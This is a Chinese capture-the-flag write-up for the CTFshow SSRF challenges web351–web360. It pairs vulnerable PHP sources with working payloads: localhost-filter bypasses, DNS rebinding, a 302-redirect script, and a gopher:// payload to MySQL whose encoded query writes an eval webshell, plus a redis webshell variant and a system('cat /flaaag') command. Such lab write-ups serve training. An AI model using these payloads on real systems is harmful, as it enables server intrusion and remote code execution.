CTFSHOW-web入门-ssrf

ssrf

绕过姿势

  1. 更改 IP 地址写法 例如192.168.0.1

    • 8 进制格式:0300.0250.0.1
    • 16 进制格式:0xC0.0xA8.0.1
    • 10 进制整数格式:3232235521
    • 16 进制整数格式:0xC0A80001
    • 还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1
  2. 利用 URL 解析问题 在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。 例如:

    • http://www.baidu.com@192.168.0.1/http://192.168.0.1请求的都是192.168.0.1的内容

    • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

    • 短地址http://dwz.cn/11SMa==>http://127.0.0.1

    • 利用句号127。0。0。1==>127.0.0.1

    • 利用 Enclosed alphanumerics

      1
       
    • 1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
      List:
      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
      ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
      Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
      ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
      ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
      ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

危害

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
  • 攻击运行在内网或本地的应用程序(比如溢出);
  • 对内网 web 应用进行指纹识别,通过访问默认文件实现;
  • 攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli 等);
  • 利用 file 协议读取本地文件等。

web351

源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

相关函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.runoob.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

payload:

1
2
3
post:
url=file:/var/www/html/flag.php
url=http://127.0.0.1/flag.php

flag.php

1
2
3
4
5
6
7
8
9
10
<?php

$flag="ctfshow{68c533cb-79d8-497b-a63a-e746472a5615}";
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo $flag;
}
else{
die("非本地用户禁止访问");
}
?>

web352

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

parse_url

parse_url — 解析 URL,返回其组成部分

要求

示例 #1 \parse_url()** 例子**

1
<?php$url = 'http://username:password@hostname/path?arg=value#anchor';print_r(parse_url($url));echo parse_url($url, PHP_URL_PATH);?>

以上例程会输出:

1
2
3
4
5
6
7
8
9
10
11
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path

payload:

1
2
3
4
post:
url=http://127.0.0.1/flag.php
url=http://127.0.0.1:80/flag.php
url=http://localhost/flag.php

csdn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cheme必须是http或者https,但是不能有127.0.0.1或者localhost。这个绕过技巧很多了,列具一些常用的吧:

进制绕过 url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
短标签绕过,但是这题我测试失败了,可能是我短标签的问题?
ipv6绕过[::1],这题也不行。
使用句号绕过:url=http://127。0。0。1/flag.php,这题也不行。
特殊的地址0,url=http://0/flag.php,还有url=http://127.1/flag.php,还有url=http://127.0000000000000.001/flag.php这样的。
dns重绑定其实也能用在这里,不过这题好像不行?不知道是不是我DNS的那个有问题。
可能还有吧,想到了再补上。



过滤了localhost和127.0.0。还是有很多方法的,比如127.0.1127.11270.0.1 或者转成16进制 2进制
转进制的地址https://tool.520101.com/wangluo/jinzhizhuanhuan/

web353

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

payload:

1
2
3
url=http://127.1/flag.php
url=http://0x7F000001/flag.php
url=http://0.0.0.0/flag.php

web354

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

0和1都不允许出现

payload:

1
2
url=http://url/flag.php
//将自己的域名解析到127.0.0.1

web355

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

要求host位数小于等于5

payload:

1
2
3
url=http://127.1/flag.php
url=http://0.0/flag.php
url=http://0/flag.php

web356

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

要求host位数小于等于3

payload:

1
2
3
url=http://0.0/flag.php
url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

gethostbyname()函数:通过域名获取IP地址

filter_var() 函数通过指定的过滤器过滤一个变量。

定义和用法

FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。

  • Name: “validate_ip”
  • ID-number: 275

可能的标志:

  • FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
  • FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
  • FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
  • FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

当获取到的ip不在保留的 IP 范围内 可读出flag

方法一:dns重绑定

DNS Rebinding

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

浅谈DNS重绑定漏洞

image-20210927201204615

当获取到的ip不在保留的 IP 范围内 可读出flag

payload:

1
url=http://36573657.7f000001.rbndr.us/flag.php
方法二:302跳转

在自己服务器写个php文件

1
2
<?php
header("Location:http://127.0.0.1/flag.php");
1
file_get_contents函数可配合302跳转读取文件

web358

源码:

1
2
3
4
5
6
7
8
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

正则表达式的意思是以http://ctf.开头,以show结尾。

payload:

1
url=http://ctf.@127.0.0.1/flag.php?show

image-20210927203702409

web359

利用Gopherus工具生成payload

image-20210927204555611

payload:

1
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01

对下划线后面的字符进行一次url编码

image-20210927205018703

进入根目录 看到flag.sh

执行flag.sh 然后查看flag.txt

web360

和上一题相似 数据库换成了redis

image-20210927205813947

木马文件名为shell.php

对下划线后面的字符进行一次url编码

image-20210927205906697

查看flag

a=system(‘cat /flaaag’);